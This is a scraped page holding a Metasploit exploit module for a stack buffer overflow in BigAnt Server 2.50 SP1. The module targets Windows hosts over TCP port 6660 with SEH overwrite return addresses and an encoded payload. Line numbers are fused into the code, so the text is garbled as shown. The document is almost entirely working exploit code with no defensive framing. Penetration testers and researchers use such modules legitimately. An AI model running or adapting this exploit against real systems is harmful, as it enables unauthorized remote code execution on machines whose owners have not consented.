Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/bigant_server_250.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'BigAnt Server 2.50 SP1 Buffer Overflow',14'Description' => %q{15This exploits a stack buffer overflow in the BigAnt Messaging Service,16part of the BigAnt Server product suite. This module was tested17successfully against version 2.50 SP1.18},19'Author' => [ 'Dr_IDE <Dr_IDE[at]hushmail.com>' ],20'License' => MSF_LICENSE,21'References' =>22[23# It's not clear if these are correct - there was a fix for24# the v2.2 vuln back in Dec 200825[ 'CVE', '2008-1914'],26[ 'OSVDB', '44454'],27[ 'EDB', '9673' ],28[ 'EDB', '9690' ]29#[ 'B_ID', '28795' ],30#[ 'U_RL', 'http://www.milw0rm.com/exploits/5451'],31],32'Privileged' => true,33'DefaultOptions' =>34{35'EXITFUNC' => 'seh',36'AllowWin32SEH' => true37},38'Payload' =>39{40'Space' => 710,41'BadChars' => "\x00\x20\x0a\x0d",42'StackAdjustment' => -3500,43'EncoderType' => Msf::Encoder::Type::AlphanumUpper,44'DisableNops' => 'True',45},46'Platform' => 'win',47'Targets' =>48[49[ 'BigAnt 2.5 Universal', { 'Ret' => 0x0f9a196a } ], # Tested OK (Dr_IDE & aushack) p/p/r VBAJET32.dll xpsp3 & w2k50[ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ], # p/p/r Tested OK (aushack 20090918)51[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], # Should Work52],53'DefaultTarget' => 0,54'DisclosureDate' => '2008-04-15'))5556register_options([Opt::RPORT(6660)])57end5859def exploit60connect6162sploit = "GET " + rand_text_alpha_upper(985) + generate_seh_payload(target.ret)63sploit << rand_text_alpha_upper(1000 - payload.encoded.length)6465print_status("Trying target #{target.name}...")66sock.put(sploit + "\r\n\r\n")6768handler69disconnect70end71end727374